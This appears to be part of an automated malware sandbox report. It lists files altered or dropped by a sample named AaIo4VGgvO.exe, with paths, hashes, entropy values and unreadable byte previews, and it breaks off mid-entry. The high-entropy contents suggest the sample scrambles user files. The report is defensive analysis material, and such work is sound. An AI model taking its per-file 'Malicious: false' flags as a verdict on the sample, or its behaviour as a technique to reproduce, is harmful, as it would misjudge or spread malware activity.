Preview:	regf..v......>P...f..0.....b.{.4...W....o........s...../......v....<.H...Xq.oJv"._N...B.t1.k.r\.n^.xR.<..,{.a..\x.U(.f8qL.....W..qg.s..v.jA...._...&Lf$.Wi.4.....s......`..}..........jv+u..t.....z.+.....5....(1.T.x.....@IX+...q.C....YEU....lt.tjD.7.)..........7...f.3.ee]......o.<..x.....$.IOg.F?%....&.Mb..{.}7\|..A!....6..S..\|%.N.Ls[@3........s.X.@.....P.....(....q.`k."I...-.wx.s.......;.....u+.SP..5 ......e..$...>...3.M+P....SD7..qZ`75se...FDEg......#HzK. \.j.\|c...}1.....]......[.....\....u..?%T..m>.n\|......5......^..Xz;V.C.....r6....`6sd.o.....c.......(:..`...CV.lJ\|..hH....Y.8.sY!./N....0).9..is.YB[.:?.}..dFfs...X[.V.B....Oky.....,C.h,9..j..M.'=.;#)......H.V.IQ.J......^...h.4Y...(.....$......._.e.k+.NZ]....Tc.u.VH........IO.....]9.:*.."..M.9.~..?Nw...U@.j\4.!....v.n.wm.x.!.QY...@r.=.>/.J....O.>...5=..-..G.......-.......9....[{...}L'..=s.m.kG...6cvdK.,....ne.f5+!ja.B..m.J.k.n.?dP....oL...Cx3&......4{E....P....I..S... .Oo.u...F...e.......8

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2727
Entropy (8bit):	7.9243764587602845
Encrypted:	false
SSDEEP:	48:B3POYgp6qgidBTG5fx98xXO04bKMXRZiPc9LAot2k2uV8gao6U7BFZRKD:B3PlgYq9DTGoORKMhZVLAot/VIoN7BFG
MD5:	D5EADF8D96DA59559B430281229E2A64
SHA1:	F960D13A3BE6B91481BB4FD674BC5DC8841CD1AB
SHA-256:	21F7BD6DF737821EDB27880052C4851847E519F0A7313C77F0A6E1DA5E975F40
SHA-512:	B759C3CE9B81183BC599019ECD0DF140BA0F22CFABBE0A750E5828A49E4056A7B9BF8607F7AF5CF3A0F38C0D8633CF028636D14CA81FDEC18891E3D6D62502AD
Malicious:	false
Preview:	.PNG...."gxQ......&..O..D.w.1.9.2....J.<..w........H.8v=....r....2.......>..9.w.(,Q#...\|H\|.l..m6..O.+..Ds.?,U..g.Fy0....L1l.'...Q.<..w3...z...W....fzw...S....7..HBpT.e.e.......>......0.&Rl...3...jC_~.9'fd.Y^-W..Y%.yW.....2M.d.H.}t..K.i\|.B...\|........'.~...g.B.7E.A.P3......JH.2...(Z.....k...O.,'...>..%&..M....z{....3QD..`...:......DB/EYKY...k...h.{.im.V[.....k..5t...7f..B.w...p.....$>. v.2gJ.]5q.@.E......).m>......6....)...XN.v...7..v...!.L.a.Ha..D......k.7.H.E..?V....tLp.g#......\.....G...5......N...^...9FK>..K..7kT...<.....5HL1.S...e..H.......QR...0..T.o....l.2....3.^$],....F.dl.`.qVlF.q\..........;P...Y1.?R<..C>.R+e..Qg^.m.D.......$9.A=....VJ.mp..X.n...@....z.aP4.J..S.<!.k\.Ex.....Z!..hJ....m._.0f8x......:.5....P.....1..a..%....@nl..(.4.."y..3:./HHQ(~..i%.@M......Wl..../e.+.e4.h.<-...S.g....@.N#..........J*.:=o.X..n./.rk..I~...~.^....f>.."..l..z.u^........f.B-G...T.....:..O.1......$...3.....SM...h...........-.[.^v{....A...(.>.ad.X...<.ul.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1961
Entropy (8bit):	7.899135091464946
Encrypted:	false
SSDEEP:	48:URjcK0dvCqAxtMbG+dlM1S5eV39jQG+D0l7XjSXD:IjDeKXMbG+dG1pV9FW+7XWT
MD5:	4E6649346742BF7F759D7C7F9248E04E
SHA1:	F79C76B7491CBFDBCD2BCFC7E8C6513447DC05AF
SHA-256:	2E352C99CAE3D2DFC44BC504FEF837801FB17CF1CB00A9E6302575D4C89EBC27
SHA-512:	BAD26B8EB5888361E614E35CD4B749ABCDF2F0FCF5E18E7C168FB5AADC4905BF36D357B19ADC9D4422527A5F5986627DE9DB07C51F14629CA311AC71E5D8D4C2
Malicious:	false
Preview:	.PNG....S.=4.@...\>....n.krU2.X..C..y....'V........JG.......$.B.d......)[i.d.[.C..F.....q...kh]..B........A..4....>;6........\V..TEK...F.......L....m.yg..z[.....k...=..f....;.d.T..`&..@LE.#...JC!g.......G".C,H8f.TK.A..a9..d.w5..K.....ea[..O.2.A......./yj...)...}<O..K\|F.w..../.;i...X'..%o=.\.".S..N.t&.-..!{~^Z...M..'."..\|L....7WH.M...6.js..s..\{.....\|X!/...!xy....4-..o8!..".X......T..xn.>%..L.fh..61..1.72.5.p..f....fK......7.`. .M.Ct]us.-R...t..........I.f5.$..%.F.....&...k.....F.z .J...@._...u.p....r.>..\|w4Y..IZ..H..)....U...2\|.A(....mZ..W.bK.2..)..t...s..b.VLh....%....>......lE5.79.c%...e.....~.......L...B.9{\.3........i...yO...p.....0.d.R.!T.N....#:..#..09....{.9...+.C......7..G(B....\.j.qJ..I,..O..{PV....PB'....z...#T.6.V.y6..ia2...6...LCH.o.....$.NItSE..O2..y....+...qW.dF..O.F.e...9Qb.<......z....y$....F........j....U...B.p-.........x..c...z.....{.U8..\....#z.%o......UM...UP.:.w....../.....P.~.@..pq.+R..P/..a.`....xJ.joe..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2735
Entropy (8bit):	7.930207102789027
Encrypted:	false
SSDEEP:	48:ODuOdMGjtOimm78QJ04LhqcMQwFZoY+KiRmuo4H1HfOJwwIJgT4pbTE7ObGEpUD:QxdMytbmoJ0iccM5+KjF4H1HmJ7AtaOu
MD5:	FCCF346FA32C82BA41B45ED203A6C0B1
SHA1:	D418CCAA8E693CAD28A54CEF0735CCC1D960FD69
SHA-256:	3C3161C300F3FA67536878E17316B67DB979A102D3A8D96401143A73C71784EF
SHA-512:	5887D16D4CBA2FF8B5FD88DCEB45DF3BF2CDCD26401C4A96FC87FB401EE81E1EDC966E445F2F90F73E02BB5CC7EA27E3B100C052CA293E8414FFA3B6DB42C3E0
Malicious:	false
Preview:	.PNG....g.8x..-....a..l......PA..6.gW....Z[..-..g.....dH...!z.R\|.9.?....X.Ax..M......./7..%.6.)..Rn...$...qs.q.Y...AI....6...9..+.......;.D4y...B..O.q..W......G.nx....g.....hD...dDs...Y,.V...j.......s.R...'O.....C...Z.].....E/.>/L..b..Q.B.k)...o.6..].]!..B.o..w0.%..0.~B."...\q_..^.Dm.Z........Sz..l..R.]...#.9L.&.wXc{k:.-c./.B.D.....xUJ...:]G..E&..."A..=..hw.ZJ\|z.lz...U..r.G..\..j.".........xx{...C.cP2.=...4..jY.f..J....Z$u.'\|...7`....e..R..3......i.i"..)...<.T6...MB..^k.}'....op....t.\|..(6..k7k.a..?..U..]$B.2l.&.`.7T.x..Ic....;o..~.a.:...........$.E5.O...J#~....n..O.A.a..U.$M.........#.B.{.........E.]H....0y..&..{.k..bu.gE...j....EeL\|/w. .h...)i..8...s...%sS..m..<.\.Z..Y.%...#....O.A...V......Lh...5?..?...Y...R...av...F..qC.....>.{..p.g...9.......:.x.(.@..V...c...T......>u..d..x.`.R2.q..L...G.^<B.C...{5.....S...~~Tt1.4...W2...........].. .Io]!.}..Ss...H......=+..D.\x.....~..+.\|].+M6C.........^..s..J....n..A....p...<\|F..0..8.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	7.897174172244212
Encrypted:	false
SSDEEP:	48:9xzD9rmYTVJfO/di1ucfoId0CTEC8ueudiK6Q1DXnhmLtWDBevbD:9Pr1/Gduu1KXTx8uqZYLcW8f
MD5:	D88FD17184C3B79BEF3E653B348BD3B4
SHA1:	C55C6A5217F211C8624F68E4DD9251DE6EDD9504
SHA-256:	BBF54F8C129D8E90F787EFB3802769F62CCDC8B37D2C14927CDE5B0540E67CF2
SHA-512:	A0C699D7BF66DA5947C962E4AB651510DD844DEBB82CB87E2039E9E644CEA6F620B3BC0DFE517249195FFBA9E8FF9EC234C332B5039750F2303874CA035599C3
Malicious:	false
Preview:	.PNG..?^......C....j..:.\|...N....).......L_..'..[.BH.,i....RZ'...D.,.....3.3..`A...!#.....m...x.'.^2......g..)6.wW..`....s...!...>sq.f8..e'..F...4.yn.Y</e.Q.......oph.D...&...c....h-...r_.Q.?..S..G....~..D..(......x..<..7...f..wI...g]...J..,......E.c..R].......\..3......%....... uk..b$+.b..;g.KS....S....%.Fy....f.._\|......t.........\|\b+1.....f6..&....#x..<.$.. .f....>BR...(......z....\|.S(...&..#...hjqL....R...>.....z>>.S"\|T.9.....a./.b:...ft...k.:.B2.+^[9.X......W.W6..%e..K7..r....^W.. .t\.8...#._..X.....c...j../..R.8..p3....o...Bvx-.L...9n.m.+....H...'..7..?......W..U...3..iZ< ....FF.....).IY=_...h.@x....LG...Qk.;...V..C8B.'.J...H..y'......#s...P1.......d.1..)9...4F...XP.].:.:......ly...HaGw...aD..k..N...V.^.@...%}aP..ybD...@..`.R....2..r..\.i..4....5.85...Mx.7;..M...+_..\|......g....4.W....X..OX......[.<.H.-.Y).7}.k....I.k....^.'>..WK.....>.,.j.....T8..c.3.h.x}....[....f..*...j.g..,....<9...._.P..p8.... ...u2@..Fw.no..Gn.s.m.JD.MP....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1887
Entropy (8bit):	7.893246309687346
Encrypted:	false
SSDEEP:	48:4jhnm4D3i0Y01BBneT8ELwm4l4b1okIQFt7yIX3VkWW+D:4Vnm4DPZ1XeT8Tl4bKkIQFBnJB
MD5:	4F7B32D611B27E4EA12DBEE1F18825BE
SHA1:	DD2E5F8C04344709214CBEC7534213596C519699
SHA-256:	3AB9B4CD439E1554FA6CED973C30625D6AAB1F0636FAB25B6E662264E45AB971
SHA-512:	6157D84CBDDE6970698D03C8DC0691ECDB4D51D2412CF05FEDCB865627AA780ED3E2299AEF83B0D735781FB0FE704DE75D7AC0E8591CECF6F1D68BAEB74593AA
Malicious:	false
Preview:	.PNG..k.....{...........I....q......@ '0.$4..8.x.pc.....}wcO,.._,MS.v.`.I.4J...,.E."\.s...9.n7.h1o..'....a.g.....k..6.PD........PF..tF..+............E(+.g".B..K..........V.W...t..j....[..T.]U..... `R.,r......p`.....'...w8\...J,.<. .5\|.6....K..z.7\....(...u..`w..PJB.j..os....f.V......y..7yn..ta0J.$`....P.c......[w......w...&j.....&..s.....].. .]. .....3dB;x.6..........Ia^.h..a}.W..,.[..f\n.o8.......Q..q.vyLl...u.~sb3.Q..)2..'J...gJ..u.y...l....v.P'm.Sr.j{..d.t.....!.zG.$.N...V.=...3.!c8.r.e._..N..s...BRR\|$.U...dvg..P...X.D...9.3....Q5n$...lM...H..6l.*..n..ce.8.b..S..D..$..h..9sVS.4^...R..+1kD..].#77....mJ.....4...Z...?...#-.(\".....yU.....^ 7.V1[..C.#....zl..,..'r...zTx.>.Zhn:...3..Kh.....v+...A.\|[nF.@...k.b..9 0+..@>..9.xW.+.yXk.9...'.a..........."K...9N.k...p..W.......n&....E....Q.}.f.4.u.....y2U{..[GV.-s.66......8.R.gJ......o..h....c..6.[..P.Y..p.........t.KxA........Z.:..=....Is......h ...tW.....]$.R.CPb.....T.y.b^..\........wT.}.......

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1447
Entropy (8bit):	7.857369236940441
Encrypted:	false
SSDEEP:	24:VP+aixWyw3Jq+GlS47RzkhCxG7fQIFUN17MjL4oB1UREOWHwWgthbD:V+fWyw3GFzkhCxUfQhQLKLWgtxD
MD5:	F8D3889B2066ED3F1B19012CF6BA12D5
SHA1:	25911308DDBDB51AB39B8A13ABC223C833AE76E9
SHA-256:	BA5B68663E61A7B804AF54BE6400042C44B2382775BE22DE60362B4EFA1D51B7
SHA-512:	CD41724DBDD138AB9510F90078A2624C697C3ADF823C867D59953D3FCBA4C7B9174B8AD6B03AC90270710B3FE0012FCA7EC1D7FEF34CB23DBB056E3C7649E381
Malicious:	false
Preview:	.PNG.w,...L....#..m.$...d..~...d.0..t....OB...c#5..c..\|7...G.>F..O..`..E..+..O\..a`dneE.E.... -.@...rKQ..{.........m.J.U........91d+.u......^L....3...4.\|..E..=._...v.....)./U..S.$...e.j.{.2k4b..q...).L..z-.B.}s...la....V.l.M....lJ>;..$$....'......Z..O..L..X..@h..X...n.U&...".(55_.......#..R..M...^7..a)m)w.n.......@.0>sY.........v.lOW.k..)+".T.kBgE....PI...._]...HU.1...m@nG!.]....1.f.....Y.P..v.... ....i....&.3....y.R=m.-.F.l:..#.j...9...,.un...8..o.t.>..^.@.A.p.7.....U.8\.5....:7A..\|z....m...}..6......4....]`8KHq-.Ka.&u..{.(.@..JI.,(4........6..l%.pCO....p...+...=..:...T...58....0Ftwl..%.Ya.n.fT.s. 4.@.......E.\|b..n../..l....}.2y...)9h.g..%SH.WcS....V...b.W.7..agZ.D...M..O]7..}7...}!.tT..$.....2nW.....r%...^y.m=.A./]..M..I......r.jX..I.)VL...r(w..iK.....]....!.`.@....<z.....g..F.{Dm.....I@7..vrm6.@m.gz.z@.q.:..o......s..L.QU....j....n......1YV.(.}}..(..=.`;.{....g...#.-.....J..24.d..z..B.(n9.+..9Dd.Rr.=.....TdU`.>g...f.n;Z......?`.5=C_...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1783
Entropy (8bit):	7.882821526370184
Encrypted:	false
SSDEEP:	48:qAhkbnTdB4144SyZeFCWduaViSXF2WPAtD:XCb414Fyc8WduyXcWYV
MD5:	063653CE6C724596685A164E9E45214F
SHA1:	852A27FB14CA6A3A12E255B4A28ACF5ED87F4F62
SHA-256:	5D9CA3ED5409953F99885FD170EB9BB1D96BB7B7CCCD474DF77524EC2FCC22B6
SHA-512:	E06BD39AE5D291C98EF538290EF4336671D94EDFF61E512A10EDBC98EDC0A004530786DB81C117D7507E43420E081A3C34ADB7B7DD8350AC8A402DB54A0431E1
Malicious:	false
Preview:	.PNG....~2...p...Z.8Q...=.i.fb..j.......2H..."............6r".{...Z..C..1..b..Z.sm.."e.c.>...HR. g...0.%':.......s.w....3. .0"..W...t.,#.p..K.A.gO+_..`...'..kP..2...`4(kK.Y.U...Na9v.E.i..V...q..c..Y...b.Z4J..........S.S...n...?.\O.:$...8rN..^..J.bky..!.4.^s../.i..1o.; k..W=o.>......\|U..F.~.G.n..?KF...>..Q._.#@.....(.Y..........i...^..l.ui6S.V....&...f.._FI.NT..1y....K.........evx?'4.8.?D_I..(XaF.)..M..1.B.R.....#....1...m.H..M..S+sc.{a..yr6..'.(..X.ic/....&u#.<?......q........R......%`E.K.$D6'..j....L.}.#.....{..=.@...n.O4..J....hhM....\.X!B.oJ.Y....H^..6.9...=w>...s.N......'..HSKk"E:.p.y..=CXO.@.H....8...bd..v.....OL.._Gg..u8..2.f..#.O.1M5.....A...w..>;Nm.;..n.<..HY{.\..$.^.F.....k...b...s...r.....0.r...d..M.<H...q^>.....MrV..P.C.cuK...s3#].f.$(...5..L\.=.O..'....s.....[..+*\M....aQ...{.?...R/@..$......\|......}p......w..6......>.T.\....RG.........p`...Z.....^.]...~y..6m..P.%...7..W......w..l..DR....{O.....-C....el...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	7.8692133483158555
Encrypted:	false
SSDEEP:	24:Ah8Y95bD94z70uki+FwaTF1KjTviT85euBiwIaqyFNIG4AuIBYsRsbD:E84b8Tki2Ii8PzMyFNI3A0sYD
MD5:	DB6DACE3AF8FD800EA6779EAA7016C97
SHA1:	C76B5AB4B000785DBF9734E8A0887B7B3059D347
SHA-256:	98DFECD4C389DD5C4D75E5407B50A19F34DD5031E2A42CD592514207168F4F63
SHA-512:	EADFEDCE185358D170B86F2463618F70C75F7BB990F1DC92D60BF82270CB8A0D9C81624876F1663A2ED8D961B258E648C791DAF4BC468F4275C03399691CFD1F
Malicious:	false
Preview:	.PNG.u<..x......hpRq+G.%3...v>xb...t..}..5.5A.x]....D ..=.NW0.R....1._.>o.l.t.E..PM.-.S.L.zA8.zV...A...V...Ld..._.....yN.Q`.....$G!..1....p."4....0t.,.%:..f:x...E.+c>D....4...4N}...Nu.E.8.]."N#.w...^J]#.%.U.$....[...8g..(..'...S......F....N....., ......r..Ui....@Z.!..<.!..x._.Y.."....60\|[...6&.v.N....rQ.F....T.........@......m..e5.69.a...$~..0a...../.......#.\.w?...Z....44.M.S{a7.p5x..c....12.`,.....b...h...P.1$..4..#\|f...U..YH2&.>5.}..=.i.j.8s./..Jye.n..rI.vJ.y.Hz%.v..!....9...H!.7..],a.X?....K.z....l........OuX.\ZK.X..iY....\|L.]0.#c..E.... D.6.9...>+.<.9...LT.Y..7.}Y...</.Uhw....Y...dk.%.P;@....1&w.....o:g. .!\|j)...j..5..DG..^8dMR.)yx..[J...<.~...<.......&.c/(...O..(...f..F...7k........>.F..T...u0....R...o.:........9.V6..,.c7...$.....G........(!........\.......v(]j).....U.,K..v..;...1.5...cc.................+..QV.x}.l.i....-.~nn..a.7.'.......nU.C...{.#aeb.sL..I.k\|...P.''...S.........bK.......n.p?..9mW.C.....Tw......rGT.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.386080224693654
Encrypted:	false
SSDEEP:	3072:52VAdDJH9hz2t1LVndw8zeo+Is9gnn47QcZZ/eONxg5pU//H12nCgBayZRuQayZx:52Sbd6Lddwou9oC4bU//HonCEBx
MD5:	63CE88618B91D78B618B673F684FFF88
SHA1:	5DCF6241BC70B473457E5D5E7F922A7FD4DD9502
SHA-256:	C60222CBBBEE90C8AA0CEE316F4AC3371ABB2C1F1B442ED3A1A31BD502512C96
SHA-512:	32B7F74ED7E9F491AB71B510AA76CE133F6CD05BFA1BD6187BF3CD726FCC2C819EF22F333697F06968857E4B5BF6FA1CEF2EF0BF9A823D74D5F8B7B857E259AA
Malicious:	false
Preview:	o....&l.>.~.au..\~.:;.p.kO......d-'c.i7~.U.$x..?t}.>cB...t<....?#.L4.q..v...1.....OM...Y.!.H..2....%...LD...D....9..R.#`3&.....f......1"../......r.}nH7.......r...bz.MnZ..%z1...JGK.A.Z..q..b...lA....e..5..D..".tNHc}.'.xw.w.O..K\|...@.<5.....Lq.;....mY.-...G1.U...."Q>.7..V..o.......r..&m'@.9.2?\|...q..N.v..W\.!.....u...J.G.k{4.....Q.a..$.!..\|.0......F.=....e..Qog.[...-.q..E].7...JK..H.......5..O%...5......g_%3........%...7..X....7.. #.S...~.X...... ........\|.R...My.....J...+9..\{.....z........b......#....=.ej....=.......v......6E.k%c.U.1_.H...<%..\e+....;.t.@....JO.}........HTZ......H...Lf.....VV...c..........A...Q4..b...@.D.a..O(. C..=.)w.d4...B~.Y(..)...D<9. q<...Q.....0...(.^!..JUT.UYly........4..8zFb.b....]..k.y.2.E.X..tk@.g..<...0nfK.2Y..P.h.A\|.0S.Z'..#:..q..C.q\|Q.j.k;.U.......X.@Jwan,U.5..B....9...E...c..b.........=.ZNk}.F.G....Ok ..O...G..6.9.i)w;../.<..^\J.(..g/..9v...L ....p.D..:......L...eR........k"HU.r..en.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9887992943864425
Encrypted:	false
SSDEEP:	384:9QRIC4qyeh+snG3p6oEFfMMuZOkHYAHIVy:xX+NxqBwkpHIVy
MD5:	926B88ECCCDEFD45EB45C0EE693FB51C
SHA1:	F3C7DB97960C06E9B5C8A0D3ADC75EC012BCCDC0
SHA-256:	8C07B75DEB7D4744025CFDFC09F9ED7D7015D10D66CF07619F221EBC4CC6806A
SHA-512:	DC39DF429DEBCC85D608D4B21FB15DDE6FE3AF2C765865EA0DC8CB33FE02F8FF80F5FC8BA8828745BFDA9902007E8C6145A79D1DA5CCEF8DE970B7DB3F676F1B
Malicious:	false
Preview:	......E.#_~.{.b....0........L....I....gIV9.L.(..[fW4.....5n.O........L]....3..q~.p<.<.^.B-..%.`..'..B..k...- .._......`m..6...^D....II..1....%/.~..J}....8.....ap/.B.6x.....[};.V...~.=.24...I."..{....<.vk[.xfi.=.)...J..ey..u+_-;v$....b..b$..1'......X\....i..op......../..P.~._..K.h......7....8w...g..~.q6g..yy.`....[....[5.....z~$.9..r...{a.\o.....B&.....p../..4.I7.$../....5...E..3N..3&>...x....!...e.K.[.G....L.@R..{../<.......?U...q...l'.@.$X..lK..']Qd.b.,o^...~0 . l...b...a.."...8G.Mx6....?.x+.....}...i1.-.{....RI....q...\.3.G.h7A..1c?.)m<.........?.L...K.d9.z..._...F].d0......4......<#..`Y..}. 5...R..\. Y...M(....<...._+..."U...Z.&.Q.M(.3k.G.b...z'.*..+\.mnp..Yl...;.p)..@........O..!..eMd..-.gu..$].wA..&'..i.c.(i).VC\....g..}.(t&..+...%.i..?..z..J{jH.K..V..o8..c.F....9}.wF1mZZ.......2.:..:1.Y.P..".'.'.<..ZY.<Zk..=....E]Db6!..=..".....#..T......z;\|^...k...e..F0......x^...q.C......{4....\|..z....&..M......J..(...........I.F?...&)..w....q\

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977148862985001
Encrypted:	false
SSDEEP:	192:N204m2J+CCQMNBiKWPoeC/1xJM3ZDfIY1y0tF85xs40KRONQ:N20pdTiPobxJM3dpj85aFZi
MD5:	6D72FAD3C331EDA7EF8765726C0CFC52
SHA1:	B6B7DD9C4A92782FC2A0A1CF10F17F1BF7E72617
SHA-256:	5F9339CD02EBC97347153E12C640CE0A7561A981C7D9A293B591B680FD09F1DE
SHA-512:	B8DA097212F5245842A368CA83264D0500CB088C72ADF0E7B0AC6A1AEB084067DE488AC2E55D977039C201805E3E9E76240EA7C5347931EFB90E41CEA615696C
Malicious:	false
Preview:	regf.........@...7..._..p.haBI.w.dso?M.x..[..Zk.[.^.`f9.&$6.X..H%....E.u...^TT..qE)\..?/2y.#.R\|R.d...qZ..&5y.WIY#..M......o..z}.m.>...W.g...Z.k..c\9..yt\n.]8...."..'.In.X.L..._0.]#.2..ae.v../773o.z..K.}.}..b..;.n..D.Z.}.g....}{N.....;.....`D.V-U.q..Q.9..L....~j.SI$)r.B...N.v~.q..8J..B...M.`.............0......0.}....r~.......r......7.36?..........e.;......UA\-{.]8.....7(.\|rD...).O$".H......I.EH.Z..V....oH...=S].;.t.R.4b.~51.L..k..>...q..Y.b@..>....A.(...=p....v.;..Z...EP.Wn.C.&pk..ms..-.C\|HA.U!0;.S...>..Y..../r...>J.\..........rv$.0.M$x`(n...i..&.">%".t.z.W!...&..\|n}..6.QB..S....^.%VSwh.9u...+'..BQ.>..?.1x..q)...G....W.....+...... ....Dr..V.`..o....Nz.Tk&.:.k..27......y.ib.U......6..5....p..g.........N..(>.W......M....,..H\|....?.}...4.!.F.w.....MUU.....V..#.G~......{.Q:I./....L.[..K.>..'..uO..n.?.>_...$M.......;oh....T....".;c.i.u.z~J1:m.[...&...)...N..OJ..0.....p...{.9..K/....J...U.G..g.&.......].E.(.O...b.X.o.C.3..p..:..r...?.>.b[X/.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9761684882161
Encrypted:	false
SSDEEP:	192:ACBKmfEUSYeZGXlRrXbX4+KwPDI2qLBcXFgSTx21pFUi5F:Z2YeZGVZ4+XPKB9Z5F
MD5:	F4C4DD470076A4A7AD485ACA103CFC86
SHA1:	EDDEE075A92DB782E343A838A673B191C3DB9DEC
SHA-256:	6AD351170B6EDC5E079B09D1617491FDF062BCEB1D311364E5E17A299E7DD782
SHA-512:	FB480F9D5C6FF7C1C24B66FCC9065E46D0F665C402769BBA41D19879D7E66C37450933AEDCF048476950AC04E90A0D0B6B0E272A3D888E0CFAE469485546BBD8
Malicious:	false
Preview:	regf..;,...S....@qg[rX.......j`;:..M....\|.8......I...9.>O.i/4.....1....~.(....!.}..`..pf#.4t.1.w....R.....B.......l......&2.(....2"....3./K.-.^.....%lx.F\|:...B.....jLV.N....A....g..`a.......'..p@...I..~a.q.....G..5.....'N.u......g...A./..!fq...?<.%.J.l..!..CqI&...j.#....K.....g..1..a.S.I.(.p?..c.l.s..4...\|._....L.c..d..j.Y].....%...I{Q.......(Pp.GXL$..(.U........,..v.9Q....W..u...e..<.cJ...c.7.w9..&.......y....nl...r.K..sE..`.....j..e.>...p.a..Y..44.{.O6.9(..1..n.2G....r.bf4......5.HG^)..._-.jD_.^.~........;8..h.s;..{y.<S.,..b......6.S*.Qvn....u.......C.7V......../=...h.k].(Y..#..U.>.P...u...`.x.}..&~.S#... [5.`..+47.Z..?A`.".....xl.:.w. ..T...<e.....>.<. w./G....Oy6kN.T#.RaZ....h...HJ.[.0%.Bk..{...0....".U..u{.g..x.E&...3.8....z. .l.'x.0.;/....z...2.....e..+\i.,-.$k...C.......6U.ys......c]....z....,.a....d...4..r.....@`v I..o..F.o[.P.%...V.yT.5nd._."....=.)...t.F..A..k..(.!.4.0v.>hUN./......3..&.>./...V3........4V..3..Ly..6.....2...v.$.J....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975476156111192
Encrypted:	false
SSDEEP:	192:iZqf8lKo3TpkFzbxcugu4vsv3KPlWtgwIg0daGHXK8:GC8lp+bQp+aPlWfIgIaGH68
MD5:	D5F77C6EAB0F0C90CBDCD808E739F3CE
SHA1:	8FC29F13A493513D0D8E962B26A1B2EB0CAAC1D3
SHA-256:	2FC0AFA537E9BD62F91BFFC8287F1AD040D55DF637B58576FD19B457AF1D3805
SHA-512:	B70B085E615AC81FAEE462422925F5B2D4A4D96925BB237D6388415389DD0C8A5E4DBFB38ABE4A651691CB3DDCC4E17FA7588B5D5F0CD1803B5D5CFC9B0DA762
Malicious:	false
Preview:	regf..{...%.eq.n.\|.h..Ej..-.)..~.ZBd....oI..t.\YA.y.......:....M&;....@.t..'..{..[.E.0..UA.`^..}d-..[.t.\.....!+.....a..lYkG.........[.ol.".......w.8. .[..:.+.......UA4.>....G.Kz=.W.G3._8g.,..uK.\|..2.....>scz\|.t....pN...P.7.....R3....o.-<...9Ab?-..Y..-n:...'e....l.' M..w.=+...}.....z=...F.F.u....Y.Z..._..kl...t..!.e..IS...t..'..%...E..u.....4...t.:.g.......{y\.(...<J.s........d.....K(6.o...t+.v.%.....\......T..H.]. ...-.W<..].._...WD..{.B9..W".@\|H....$.x..:.\.w.3..,...X..R@...~8....W.. MEE..W...l+....$......Z._...7.n`$.!...q.\|..k...k.a8t......v......4.,...Z.....jS.o. s.V..Pq.f..Z.K..".9...j...^.(}...W..k....0..#.2...3k......E.W..{W...x.[Dg...............4.~y.@IaQ..."H.k9..%.\EG..<h`f.".4.I.MZ. <....W.zY...%.O.7d}..:....dw._...........x..`.S..2M..%..X.Q.].;!.}sI...1.... (x..VdtS).Y..BML@.....r.m.);b......".Uo...}.n.`...!2.y..`.f5....o..O..D..,....W.Q].[..2.f(@..c.f....U.X....%W.5.o.R.v.'E...... .-.gB].sj....C...."ID.Ua.5...!&9O.Y..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
